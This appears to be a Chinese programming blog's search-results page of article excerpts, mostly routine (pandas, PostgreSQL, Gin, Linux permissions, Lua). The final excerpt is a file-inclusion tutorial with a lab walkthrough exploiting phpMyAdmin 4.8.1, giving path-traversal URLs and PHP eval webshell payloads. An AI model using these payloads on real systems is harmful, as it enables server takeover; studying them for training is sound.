前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[Mahout集成Spark进行分布式计算...]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
Python
...按照'items'列进行了拆分,每一种商品都对应了一行新的记录。 3. explode()函数背后的思考过程 explode()函数的工作原理其实相当直观,它会沿着指定的列表型列,将每一项元素扩展成新的一行,并保持其他列不变。就像烟花在夜空中热烈绽放,原本挤在一起、密密麻麻的一行数据,我们也让它来个华丽丽的大变身,像烟花那样“砰”地一下炸开,分散到好几行里去,让它们各自在新的位置上闪耀起来。 这个过程中,人类的思考和理解至关重要。首先,你得瞅瞅哪些列里头藏着嵌套数据结构,心里得门儿清,明白哪些数据是需要咱“掰开揉碎”的。然后,通过调用explode()函数并传入相应的列名,就能自动化地完成这一转换操作。 4. 更复杂情况下的拆分行处理 当然,现实世界的数据往往更为复杂,比如可能还存在嵌套的字典或者其他混合类型的数据。在这种情况下,光靠explode()这个函数可能没法一步到位解决所有问题,不过别担心,我们可以灵活运用其他Python神器,比如json_normalize()这个好帮手,或者自定义咱们自己的解析函数,这样就能轻松应对各种意想不到的复杂状况啦! 总的来说,Python pandas在处理大数据时的灵活性和高效性令人赞叹不已,特别是其对DataFrame行转换的支持,让我们能够自如地应对各种业务需求。下次当你面对一行需要拆成多行的数据难题时,不妨试试explode()这个小魔术师,它或许会让你大吃一惊!
2023-05-09 09:02:34
234
山涧溪流_
PostgreSQL
...tgreSQL中如何进行密码的更改。 二、PostgreSQL中的密码更改 在PostgreSQL中,我们可以通过以下步骤来进行密码的更改: 1. 首先,我们需要打开命令行终端,然后输入psql命令进入PostgreSQL数据库。 bash $ psql -U username 这里的username是你在PostgreSQL中的用户名。 2. 在PostgreSQL的提示符下,输入\c database_name命令,进入你需要操作的数据库。 3. 然后,你可以通过SELECT pg_backend_pid();命令查看当前正在运行的后台进程的ID。 4. 接下来,我们可以使用ALTER USER命令来修改用户的密码。例如,如果你想将用户名为user1的用户密码改为new_password,可以使用以下命令: sql ALTER USER user1 WITH PASSWORD 'new_password'; 5. 最后,记得退出PostgreSQL环境 bash \q 三、安全性的重要性 当我们面对警告时,往往会感到紧张和不安。这是因为我们的信息安全可能会受到影响。而在PostgreSQL中,用户的密码就是我们最重要的信息资产之一。 因此,我们不能忽视任何有关密码安全的警告。我们必须定期更改我们的密码,并确保它们足够强大,以防止被破解。此外,咱们也得记住,可别在公共网络这种地方,泄露那些敏感信息,像是银行卡账号、社交媒体账号啥的,这些都得捂严实了,别让人给瞧见了。 四、总结 在PostgreSQL中,如果我们收到了“WARNING: your password has expired, please change it before continuing”的警告,我们不需要惊慌。只要按照上述步骤,就可以轻松地更改我们的密码。 在这个过程中,我们也可以更好地认识到密码安全的重要性。我们得时刻打起十二分精神,把咱们的信息宝藏看牢了,别让那些不必要的损失找上门来。 所以,记住,当遇到警告时,首先要冷静分析,然后根据提示进行相应的操作。这样我们才能真正做到随机应变,无论啥状况冒出来都能稳稳接住,确保我们的信息安全无虞。
2023-04-17 13:39:52
113
追梦人-t
JQuery
...沿的路由技术和SEO优化策略,将更好地助力我们应对日益复杂的Web应用程序需求。
2023-02-17 17:07:14
56
红尘漫步_
Golang
近期,Go语言在云计算领域得到了广泛应用,特别是在容器编排工具Kubernetes的发展过程中,接口的概念起到了至关重要的作用。Kubernetes作为一个开源平台,用于自动化部署、扩展和管理容器化的应用程序。其核心架构中广泛使用了接口来定义组件之间的交互方式,确保系统的高度解耦和可扩展性。 最近,Google宣布推出一个新的开源项目——GKE On-Prem,这是一个基于Kubernetes的私有云解决方案,旨在为企业客户提供更灵活的选择。该项目进一步强调了接口的重要性,通过定义统一的API接口,使得用户能够在不同的环境中无缝迁移应用。这不仅提升了用户体验,也促进了技术生态系统的繁荣。 此外,Go语言社区也在不断探索接口的新应用场景。例如,一家名为HashiCorp的企业,开发了一套基础设施自动化工具,如Terraform和Nomad,这些工具同样依赖于接口来实现组件间的高效协作。通过这种方式,HashiCorp不仅提高了软件的可维护性,还增强了跨平台的一致性体验。 这些案例充分说明了Go语言接口在现代软件开发中的关键作用。随着技术的不断发展,接口将继续扮演着连接不同系统和服务的重要角色,推动技术创新和应用落地。对于想要深入了解Go语言接口及其应用的开发者来说,关注这些前沿技术和实践案例无疑将大有裨益。
2025-01-22 16:29:32
60
梦幻星空
c#
...考量因素。尤其当我们进行深度系统级编程时,会频繁接触到一个特定的异常类型——SecurityCriticalException。这个异常表示在执行需要安全关键处理的操作时遇到了问题。嘿,伙计们,这篇东西会手把手地带你们钻进这个话题的核心地带,咱们一边瞅瞅那些实实在在的代码实例,一边掰开揉碎了讲明白那个看似高深莫测的SecurityCriticalException,让它的庐山真面目暴露在大伙儿眼前! 2. 安全关键性(Security Criticality)的概念 在.NET框架的安全模型中,安全关键性是一种特性,用于标记那些对系统安全有重大影响的方法或类型。当一个方法被标记为SecurityCritical时,意味着只有完全受信任的代码才能调用它。这么做,主要是为了拦住那些不靠谱的代码,不让它们有机会碰到咱们的重要资料,或者偷偷摸摸干些可能引发安全问题的操作。 csharp [SecurityCritical] public static void CriticalMethod() { // 这里包含对敏感资源的访问或其他安全关键操作 } 3. SecurityCriticalException的发生场景 当我们尝试从非安全关键代码或部分受信代码调用安全关键方法时,如果权限不足,就会抛出SecurityCriticalException异常。 例如: csharp public void AttemptToCallCriticalMethod() { try { CriticalMethod(); // 如果当前上下文不满足安全要求,这里会抛出SecurityCriticalException } catch (SecurityCriticalException ex) { Console.WriteLine($"由于安全原因,调用安全关键方法失败: {ex.Message}"); } } 4. 如何处理SecurityCriticalException 面对SecurityCriticalException,开发者应当首先确保程序设计符合最小权限原则,即代码只请求完成其功能所需的最小权限。接着说啊,当逮到这个异常情况的时候,咱们得机智地给出应对错误的方案,比如记个日志、告诉用户出状况啦,或者采取其他能翻盘的办法。 csharp public void SecurelyCallCriticalMethod() { PermissionSet requiredPermissions = new PermissionSet(PermissionState.None); // 根据实际需求添加必要的权限,例如: requiredPermissions.AddPermission(new SecurityPermission(SecurityPermissionFlag.UnmanagedCode)); if (requiredPermissions.IsSubsetOf(AppDomain.CurrentDomain.PermissionSet)) { try { CriticalMethod(); } catch (SecurityCriticalException ex) { // 记录详细异常信息并采取相应行动 LogError(ex); NotifyUser("无法执行某项关键操作,请联系管理员以获取更高权限"); } } else { Console.WriteLine("当前运行环境缺乏必要的权限来执行此操作"); } } private void LogError(Exception ex) { // 实现具体的日志记录逻辑 } private void NotifyUser(string message) { // 实现具体的通知用户逻辑 } 5. 总结与思考 在我们的编程实践中,遇到SecurityCriticalException是一个警示信号,提示我们检查代码是否遵循了安全编码的最佳实践,并确保正确管理了系统的安全策略。安全这事儿可马虎不得,每一个程序员兄弟都得时刻瞪大眼睛,把那些关乎安全的重要理念,像揉面团一样,实实在在地揉进咱们每天的编程工作中去。这样一来,我们开发的应用程序才能更硬气,更能抵挡住那些坏家伙们的恶意攻击。对于这类特殊情况的应对,咱们也得把用户体验放在心上,既要认真细致地记录下问题的来龙去脉,也要像朋友一样亲切地给用户提供反馈,让他们能明白问题所在,并且协助他们把问题妥妥解决掉。让我们一起,携手构建更安全、更可靠的软件世界吧!
2023-05-12 10:45:37
591
飞鸟与鱼
PHP
...可以根据实际业务场景进行调整,如设定为用户最后一次活动后的一定时间。 php // 正确设置,设置为30分钟 ini_set('session.gc_maxlifetime', 1800); // 每次用户活动时更新最后活动时间 session_start(); $_SESSION['last_activity'] = time(); 为了确保即使服务器重启也能维持会话持续时间,可以在数据库中存储用户最后活动时间,并在验证会话有效时检查此时间。 4. 总结与探讨 面对PHP会话管理中的这些挑战,我们需要充分理解和掌握其内在机制,同时结合实际业务场景灵活应用各种安全策略。只有这样,才能在保证用户体验的同时,最大程度地保障系统的安全性。在实践中不断学习、思考和改进,是我们每一个开发者持续成长的重要过程。让我们共同在PHP会话管理这片技术海洋中扬帆远航,乘风破浪!
2023-02-01 11:44:11
135
半夏微凉
Struts2
...用Struts2框架进行Web开发的过程中,当你试图访问某个Action对应的URL时,若服务器返回了上述错误信息,那么很可能是由于Struts2未能正确地找到并解析到对应的Action资源。用大白话来说,这句话对程序员朋友解释就是:“嘿兄弟,我在你给我的这片代码江湖里,愣是没找到你要我搞定的那个请求路径咧。” 3. 错误原因深度解读 (1)配置问题:这是最常见的原因之一。在Struts2中,我们可以采用XML文件或者注解的方式来给程序做设置。设想一下这个场景哈,如果我们马虎大意,在struts.xml这个配置文件里没有把Action映射正确地写出来,或者是在使用注解配置时搞错了,那么Struts2里面那个核心的“快递员”——DispatcherServlet就没法找到对应能处理请求的Action了。这时候,它可就懵圈了,只能抛出一个异常来表达它的无奈和困惑。 xml /invalid.jsp (2)资源路径问题:当请求被成功路由到Action后,如果你在Action中返回了一个无效的结果路径,也会导致此问题。例如,你可能在结果类型中指定了一个不存在的视图页面。 java // 示例:错误的Action类方法 public String execute() { // ...业务逻辑... return "nonExistentView"; // 这个结果名称在struts.xml中没有对应的有效结果路径 } 4. 解决方案及实战演练 (1)检查Action配置:首先,我们需要核实struts.xml中Action的配置是否正确,包括Action的name属性是否与请求URL匹配,class属性指向的类是否存在且路径正确。 (2)验证结果路径:其次,确认Action执行方法返回的结果字符串所对应的结果路径是否存在。例如: xml /WEB-INF/pages/success.jsp /WEB-INF/pages/exists.jsp (3)排查其他可能性:除此之外,还需注意过滤器链的配置是否合理,避免请求在到达Struts2核心过滤器前就被拦截或处理;同时,也要关注项目部署环境,确认资源文件是否已正确部署至服务器。 5. 结语 面对“Requested resource /resourcePath is not available”的困扰,就像我们在探险过程中遭遇了一道看似无解的谜题。但是,只要我们像侦探破案那样,耐心又细致地把问题揪出来,一步步审查各个环节,早晚能揭开迷雾,让Struts2重新焕发活力,流畅地为我们工作。毕竟,编程的乐趣不仅在于解决问题,更在于那份抽丝剥茧、寻根问底的过程。让我们共同携手,在Struts2的世界里,尽情挥洒智慧与热情吧!
2024-01-24 17:26:04
169
清风徐来
Java
...,使得并行处理、延迟计算等复杂操作变得更加简洁高效。例如,Java 16引入的Records特性结合Lambda表达式,可以更安全地封装状态并在方法间传递,这在一定程度上也是对闭包应用的进一步强化。 此外,现代WebAssembly(WASM)技术也为闭包提供了新的应用场景。作为一种低级的、可移植的二进制指令格式,WASM可以在多种平台上运行,其模块间的私有内存区域和导入导出机制为实现闭包功能提供了可能,从而让开发者能够在WebAssembly中编写更为丰富和高效的代码。 综上所述,闭包这一核心概念正在持续影响着各种编程语言的设计和发展,并在实际工程应用中发挥着越来越重要的作用。对于开发者而言,深入理解和熟练掌握闭包不仅能提升代码质量,也能更好地适应不断发展的编程技术和工具生态。
2023-05-05 15:35:33
280
灵动之光_
Go Gin
...护罩”会对传输的数据进行加密处理。这样一来,就像有个忠诚的保镖在保护我们的数据,能够有效挡下那些想在中间搞小动作的坏家伙,避免我们的信息被偷窥或者泄露出去的风险。当有用户不走“安全通道”,试图通过HTTP来访问我们家的网站时,咱们得像个贴心的小助手那样,帮他们自动拐个弯儿,转跳到更安全的HTTPS地址上去。 二、Go Gin框架中的中间件设计(3) Go Gin的设计理念之一就是“中间件”,这是一种可以插入请求处理流程中执行额外操作的组件。想要实现HTTPS强制跳转这个需求,咱们完全可以动手写一个定制版的中间件来轻松搞定这件事儿。 go package main import ( "github.com/gin-gonic/gin" ) func ForceHTTPSMiddleware() gin.HandlerFunc { return func(c gin.Context) { if c.Request.TLS == nil { // 检查当前请求是否为HTTPS url := "https://" + c.Request.Host + c.Request.URL.String() c.Redirect(301, url) // 若不是HTTPS,则重定向至HTTPS版本 c.Abort() // 中止后续的处理流程 } else { c.Next() // 如果已经是HTTPS请求,继续执行下一个中间件或路由处理函数 } } } 上述代码创建了一个名为ForceHTTPSMiddleware的中间件,该中间件会在每次请求到达时检查其是否为HTTPS请求。如果不是,它将生成对应的HTTPS URL并以301状态码(永久重定向)引导客户端跳转。 三、中间件的使用与部署(4) 接下来,我们要将这个中间件添加到Go Gin引擎中,确保所有HTTP请求都会先经过这个中间件: go func main() { r := gin.Default() // 使用自定义的HTTPS强制跳转中间件 r.Use(ForceHTTPSMiddleware()) // 添加其他路由规则... r.GET("/", func(c gin.Context) { c.JSON(200, gin.H{"message": "Welcome to the secure zone!"}) }) // 启动HTTPS服务器 err := r.RunTLS(":443", "path/to/cert.pem", "path/to/key.pem") if err != nil { panic(err) } } 注意,在运行HTTPS服务器时,你需要提供相应的证书文件路径(如cert.pem和key.pem)。这样,你的Go Gin应用就成功实现了HTTPS强制跳转。 结语(5) 在解决Go Gin框架下的HTTPS强制跳转问题时,我们不仅了解了如何根据实际需求编写自定义中间件,还加深了对HTTPS工作原理的认识。这种带着情感化和技术思考的过程,正是编程的魅力所在。面对每一个技术挑战,只要我们保持探索精神,总能找到合适的解决方案。而Go Gin这个框架,它的灵活性和强大的功能简直就像个超级英雄,在我们实现各种需求的时候,总能给力地助我们一臂之力。
2023-01-14 15:57:07
517
秋水共长天一色
Scala
...各种概念包括存在类型进行了详尽而深刻的解读,有助于读者全面理解类型系统的内部机制及其在程序设计中的作用。 综上所述,无论是关注最新的编程语言进展,还是追溯理论源头,都可以帮助我们更好地理解和运用Scala存在类型这样的强大工具,并在实际开发中发挥其应有的价值。
2023-09-17 14:00:55
42
梦幻星空
Struts2
...rorPage页面进行错误处理。 3. ExceptionTranslationFilterException详解 3.1 什么是ExceptionTranslationFilterException? ExceptionTranslationFilterException是Spring Security框架中的一种异常,通常在处理认证和授权时出现。不过呢,在用Struts2框架的时候,咱们有时候也会碰到这种错误。通常是因为设置不对或者是一些特别的环境问题在作怪。 3.2 如何处理ExceptionTranslationFilterException? 要解决这个问题,首先需要检查你的配置文件,确保所有的过滤器都正确地配置了。其次,可以尝试升级或降级相关库的版本,看看是否能解决问题。 代码示例 假设你有一个Spring Security配置文件: xml class="org.springframework.security.web.access.intercept.FilterSecurityInterceptor"> 确保这里的配置是正确的,并且所有相关的依赖库版本一致。 4. 异常翻译问题 4.1 为什么需要异常翻译? 在国际化应用中,我们经常需要将异常信息翻译成不同语言,以满足不同地区用户的需要。这不仅提高了用户体验,也使得我们的应用更具国际化视野。 4.2 如何实现异常翻译? Struts2提供了一种简单的方法来实现异常翻译,即通过配置struts.i18n.encoding属性来指定编码格式,以及通过struts.custom.i18n.resources属性来指定资源文件的位置。 代码示例 xml 在资源文件ApplicationResources.properties中定义异常消息: properties exception.message=An error occurred. exception.message.zh_CN=发生了一个错误。 这样,当系统抛出异常时,可以根据用户的语言环境自动选择合适的异常消息。 5. 结语 通过以上介绍,我相信你已经对Struts2中的异常处理和翻译问题有了更深入的理解。虽说这些问题可能会给我们添点麻烦,但只要咱们找对了方法,就能轻松搞定。希望这篇文章对你有所帮助! 最后,如果你在学习或工作中遇到了类似的问题,不要气馁,多查阅资料,多实践,相信你一定能够找到解决问题的办法。加油!
2025-01-24 16:12:41
124
海阔天空
HTML
...请注意,使用HTML进行基础布局和功能设置是完全合法且普遍的做法。因为HTML是一种公开的标准,并不涉及版权保护,任何人都有权使用它来编写网页。 二、设计元素与版权 (3)然而,当我们讨论UI风格时,情况就变得复杂起来。虽然HTML这个语言本身不会惹上侵权这档子事儿,但你要是拿它的颜色搭配、版面设计、图标样式这些视觉效果去“创作”,就可能一脚踩进版权或设计专利的雷区了。 例如,如果你的网站采用了与另一家知名网站几乎相同的配色方案及图标设计: html 这样的设计可能触犯到版权法,因为它涉及到原创艺术作品的复制或模仿。 三、功能实现与专利权 (4)接下来,我们谈谈网站功能。同样,就像咱们用HTML、CSS、JavaScript这类技术来实现各种功能一样,如果这些功能本身就是大家常用的通用技术,或者说是业界都认可的标准部分,那压根儿就不用担心会有侵权这档子事儿。但是,如果某个功能特别新颖独特,人家还专门申请了专利保护,你要是没经过人家许可就直接照搬这个功能,那可是有侵权风险的。 比如,假设某个网站拥有独家的交互式滑块组件: javascript // 假设这是一个独特的交互式滑块组件的核心逻辑 let slider = document.getElementById('mySlider'); slider.addEventListener('input', function() { // 具有独特算法的处理过程 }); 即使你通过HTML和JavaScript重新实现了这一功能,如果该功能受到专利保护,依然存在侵权的可能性。 四、结论与建议 (5)综上所述,单纯使用HTML构建网站并不会带来侵权风险,但借鉴或抄袭其他网站的原创设计元素和受专利保护的独特功能则可能构成侵权。所以在创作的时候,咱们得重视并且摸清楚知识产权的那些规则,尽量做到全原创,要是确实碰到需要借鉴的部分,千万记住要先拿到授权或者许可,否则可就麻烦了。 同时,设计师和开发者应积极培养自己的创新能力,即便是在流行趋势的影响下,也要努力为用户提供具有独特体验的网站设计和功能实现,从而避免不必要的法律纠纷,也能让自己的作品更具竞争力和价值。 最后,面对类似的情况,及时咨询专业的法律顾问是最为稳妥的选择,既能保证自身权益不受侵害,又能维护互联网环境的公平与健康。
2023-08-26 15:59:53
503
春暖花开_
JSON
...SON Schema进行数据验证,开发者在提交或接收数据时,系统将自动依据预设的Schema检查JSON的有效性和完整性,显著减少了由于数据格式不一致导致的异常情况。同时,这一举措也增强了API文档的自解释性,使得对接双方能更清晰地理解数据格式要求。 此外,随着近年来数据隐私和安全问题日益突出,JSON Web Tokens(JWT)作为一种基于JSON的标准,也在身份验证、授权以及信息交换领域得到了广泛应用。JWT通过加密算法确保传输过程中的数据安全性,并严格遵循JSON格式,任何不符合规范的Token都将被拒绝,这无疑是对JSON异常处理技术的一种高级应用实例。 综上所述,在实际工作中,我们不仅要掌握基础的JSON异常处理技巧,更要关注行业动态和技术发展趋势,如JSON Schema和JWT的应用,以适应不断变化的安全需求和提升数据处理效能。
2023-12-27 22:46:54
484
诗和远方-t
Linux
...是针对三个不同的身份进行分配:第一个是拥有文件的主人,我们叫他“用户”(u);第二个是与这个主人同在一个团队的伙伴们,他们被称为“组”(g);第三个则是除了用户和组之外的所有其他人,统称为“其他”(o)。这样一来,每个文件或目录都能根据需要,灵活控制哪些人可以看、改或运行它啦!例如,-rw-r--r--表示一个文件,拥有者有读写权限,所在组和其他用户只有读权限。 bash ls -l /path/to/file 运行上述命令后,你会看到类似于上述的权限信息。理解这个基础是解决权限问题的第一步。 2. 系统文件权限错误案例分析 案例一:无法编辑文件 假设你遇到这样的情况,尝试编辑一个文件时,系统提示“Permission denied”。 bash vim /etc/someconfig.conf 如果你看到这样的错误,那是因为当前用户没有对这个配置文件的写权限。 案例二:无法删除或移动文件 类似地,当你试图删除或移动某个文件时,也可能因为权限不足而失败。 bash rm /path/to/protectedfile mv /path/to/oldfile /path/to/newlocation 如果出现“Operation not permitted”之类的提示,同样是在告诉你,你的用户账号对于该文件的操作权限不够。 3. 解析及解决策略 3.1 查看并理解权限 面对权限错误,首要任务是查看文件或目录的实际权限: bash ls -l /path/to/file_or_directory 然后根据权限信息判断为何无法进行相应操作。 3.2 更改文件权限 对于上述案例一,你可以通过chmod命令更改文件权限,赋予当前用户必要的写权限: bash sudo chmod u+w /etc/someconfig.conf 这里我们使用了sud0以超级用户身份运行命令,这是因为通常系统配置文件由root用户拥有,普通用户需要提升权限才能修改。 3.3 改变文件所有者或所在组 有时,我们可能需要将文件的所有权转移到另一个用户或组,以便于操作。这时可以使用chown或chgrp命令: bash sudo chown yourusername:yourgroup /path/to/file 或者仅更改组: bash sudo chgrp yourgroup /path/to/file 3.4 使用SUID、SGID和粘滞位 在某些高级场景下,还可以利用SUID、SGID和粘滞位等特殊权限来实现更灵活的权限控制,但这是进阶主题,此处不再赘述。 4. 思考与讨论 在实际工作中,理解并正确处理Linux文件权限至关重要。它关乎着系统的稳定性和安全性,也关系到我们的工作效率。每次看到电脑屏幕上跳出个“Permission denied”的小提示,就相当于生活给咱扔来一个探索Linux权限世界的彩蛋。只要我们肯一步步地追根溯源,把问题给捯饬清楚,那就能更上一层楼地领悟Linux的独门绝技。这样一来,在实际操作中咱们就能玩转Linux,轻松得就像切豆腐一样。 记住,虽然权限设置看似复杂,但它背后的设计理念是为了保护数据安全和系统稳定性,因此我们在调整权限时应谨慎行事,尽量遵循最小权限原则。在这个过程中,我们可不能光有解决问题的能耐,更重要的是,得对系统怀有一份尊重和理解的心,就像敬畏大自然一样去对待它。毕竟,在Linux世界里,一切皆文件,一切皆权限。
2023-12-15 22:38:41
110
百转千回
Lua
...写脚本引擎。为了提升性能和方便以后的维护,我们打算把核心功能用C++来写,而游戏的具体玩法就交给Lua脚本来搞定。这样既高效又灵活!事情本来进展得挺顺利的,结果当我试着调用一个自定义函数时,程序突然就崩溃了。屏幕上跳出了一行让人完全摸不着头脑的错误信息:“试图调用全局‘func_name’(一个空值)”。这下我就懵圈了,心想这到底是什么鬼? 这显然不是我想要的结果。一开始,我还以为是Lua脚本加载出问题了,结果仔细一看,发现文件路径和内容都挺正常的,就不是这个原因。难道是我的C++代码出了问题?带着疑问,我开始深入研究。 二、深入探究 揭开谜底 经过一番查阅资料和调试,我发现问题出在lua_pushvalue和lua_gettable这两个API的使用上。简单地说,lua_pushvalue就像是把栈上的某个东西复制一份放到另一个地方,而lua_gettable则是从一个表格里找到特定的键,然后取出它对应的值。虽然这些功能都挺明确的,但如果在特定情况下用错了,还是会闹出运行时的笑话。 为了更好地理解这个问题,让我们来看几个具体的例子。 示例1:基本概念 c // 假设我们有一个名为myTable的表,其中包含键为"key",值为"value"的项。 lua_newtable(L); // 创建一个空表 lua_pushstring(L, "key"); // 将字符串"key"压入栈顶 lua_pushstring(L, "value"); // 将字符串"value"压入栈顶 lua_settable(L, -3); // 使用栈顶元素作为键,-2位置的元素作为值,设置到-3位置(即刚刚创建的表) 上述代码创建了一个名为myTable的表,并向其中添加了一个键值对。接下来,我们尝试通过lua_gettable访问这个值: c lua_getglobal(L, "myTable"); // 获取全局变量myTable lua_getfield(L, -1, "key"); // 从myTable中获取键为"key"的值 printf("%s\n", lua_tostring(L, -1)); // 输出结果应为"value" 这段代码应该能正确地输出value。但如果我们在lua_getfield之前没有正确地管理栈,就很有可能会触发错误。 示例2:常见的错误场景 假设我们误用了lua_pushvalue: c lua_newtable(L); lua_pushstring(L, "key"); lua_pushstring(L, "value"); lua_settable(L, -3); // 正确 lua_pushvalue(L, -1); // 这里实际上是在复制栈顶元素,而不是预期的行为 lua_gettable(L, -2); // 错误使用,因为此时栈顶元素已经不再是"key"了 这里的关键在于,lua_pushvalue只是复制了栈顶的元素,并没有改变栈的结构。当我们紧接着调用 lua_gettable 时,其实就像是在找一个根本不存在的地方的宝贝,结果当然是找不到啦,所以就出错了。 三、解决之道 掌握正确的使用方法 明白了问题所在后,解决方案就相对简单了。我们需要确保在调用lua_gettable之前,栈顶元素是我们期望的那个值。这就像是说,我们得先把栈里的东西清理干净,或者至少得确定在动手之前,栈里头的东西是我们想要的样子。 c lua_newtable(L); lua_pushstring(L, "key"); lua_pushstring(L, "value"); lua_settable(L, -3); // 清理栈,确保栈顶元素是table lua_pop(L, 1); lua_pushvalue(L, -1); // 正确使用,复制table本身 lua_gettable(L, -2); // 现在可以安全地从table中获取数据了 通过这种方式,我们可以避免因栈状态混乱而导致的错误。 四、总结与反思 通过这次经历,我深刻体会到了理解和掌握底层API的重要性。尽管Lua C API提供了强大的功能,但也需要开发者具备一定的技巧和经验才能正确使用。错误的信息常常会绕弯弯,不会直接带你找到问题的关键。所以,遇到难题时,咱们得有耐心,一步步地去分析和查找,这样才能找到解决的办法。 同时,这也提醒我们在编写任何复杂系统时,都应该重视基础理论的学习和实践。只有真正理解了背后的工作原理,才能写出更加健壮、高效的代码。 希望这篇文章对你有所帮助,如果你也有类似的经历,欢迎分享你的故事!
2024-11-24 16:19:43
131
诗和远方
Tomcat
...型企业的喜爱,它们在进行Web开发和部署时,可没少请Tomcat出马帮忙。不过呢,虽然Tomcat这款应用服务器确实是顶呱呱的好用,但你要是不小心忽略了某些安全要点,它可就有可能被黑客小哥给盯上,成为他们眼中的“香饽饽”了。因此,我们需要了解一些防范措施,以保证我们的网站安全无虞。 接下来,我们来看看如何防止跨站脚本攻击(XSS)。XSS攻击,这可是网络安全界的一大“捣蛋鬼”。想象一下,坏人会在一些网站里偷偷塞进些恶意的小剧本。当咱们用户毫不知情地浏览这些网站时,那些小剧本就自动开演了,趁机把咱们的数据顺走,甚至可能连账号都给黑掉,引发各种让人头疼的安全问题。那么,我们应该如何防止这种攻击呢? 一种方法是使用HTTP-only cookie。当我们设置cookie时,我们可以指定是否允许JavaScript访问这个cookie。如果我们将此选项设为true,则JavaScript将不能读取这个cookie,从而避免了XSS攻击。例如: css Cookie = "name=value; HttpOnly" 另一种方法是在服务器端过滤所有的输入数据。这种方法可以确保用户输入的数据不会被恶意脚本篡改。比如,假如我们手头有个登录页面,那我们就能瞅瞅用户输入的用户名和密码对不对劲儿。要是发现不太对,咱就直接把这次请求给拒了,同时还得告诉他们哪里出了岔子,返回一个错误消息提醒一下。例如: php-template if (username != "admin" || password != "password") { return false; } 最后,我们还需要定期更新Tomcat和其他软件的安全补丁,以及使用最新的安全技术和工具,以提高我们的防御能力。另外,咱们还可以用上一些防火墙和入侵检测系统,就像给咱的网络装上电子眼和防护盾一样,实时留意着流量动态,一旦发现有啥不对劲的行为,就能立马出手拦截,确保安全无虞。 当然,除了上述方法外,还有很多其他的方法可以防止跨站脚本攻击(XSS),比如使用验证码、限制用户提交的内容类型等等。这些都是值得我们深入研究和实践的技术。 总的来说,防止访问网站时出现的安全性问题,如跨站脚本攻击(XSS)或SQL注入,是一项非常重要的任务。作为开发小哥/小姐姐,咱们得时刻瞪大眼睛,绷紧神经,不断提升咱的安全防护意识和技术能力。这样一来,才能保证我们的网站能够安安稳稳、健健康康地运行,不给任何安全隐患留空子钻。只有这样,我们才能赢得用户的信任和支持,实现我们的业务目标。"
2023-08-10 14:14:15
282
初心未变-t
转载文章
...我们,我们将第一时间进行核实并删除相应内容。 为了防止代码重复,我们就有了,文件包含。很多网页如果要用到很多同样的函数,那么我们就可以使用这个文件包含函数,就避免了每个网页又去重复造轮子。 在index.php文件里包含1.txt,而1.txt的内容是phpinfo(),include函数包含1.txt,就会把1.txt的内容当成php文件执行,不管后缀是什么。1.txt也好,1.xml也好,只要里面是php代码,然后有被include函数包含,那么就被当成PHP文件执行。 如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,然是不影响其他功能的执行,比如这里的nf和123的输出。那么就表明include函数,如果出现错误的话,并不会影响其他功能的运行。 如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,影响后面功能的执行,比如这里的nf的输出,后面的功能因为2.txt报错,导致123未执行。那么就表明require函数,如果出现错误的话,会影响后面功能的运行。 只要文件内是php代码,文件包含是不在意文件后缀的。 12345.jpg的传参值是a,那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’) 然后生成一个新的php文件 访问index.php 以上我们接触的全部是本地文件包含 说了本地文件包含,我们再来看远程文件包含 简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。 要实现远程文件包含的话,php配置的allow_url_include = on必须为on(开启) 来我们可以来实验一下,把这个配置打开。 “其他选项菜单”——“打开配置文件”——“php-ini” 打开配置文件,搜索allow_url_include 把Off改为On,注:第一个字母要为大写 之后要重启才能生效。 配置开启后,我们来远程文件包含一下,我们来远程包含一下kali上的1.txt,可以看到没有本地包含,所以直接显示的内容。 那我们现在来远程包含一下kali的这个1.txt,看会不会有phpinfo,注意我这里是index文件哦,所以是默认的。 可以看到,包含成功! 这里可以插一句题外话,如果是window服务器的话,可以让本地文件包含变成远程文件包含。需要开始XX配置,SMB服务。 这里我们可以发现,进入一个不存在的目录,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 但是php是非常严格的,进入一个不存在的目录,这里目录的名字里不能有?号,否则报错,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 实战 注意,这里php版本过低,会安装不上 安装好后,我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下,发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名:nf 接着创建表:ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个,那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 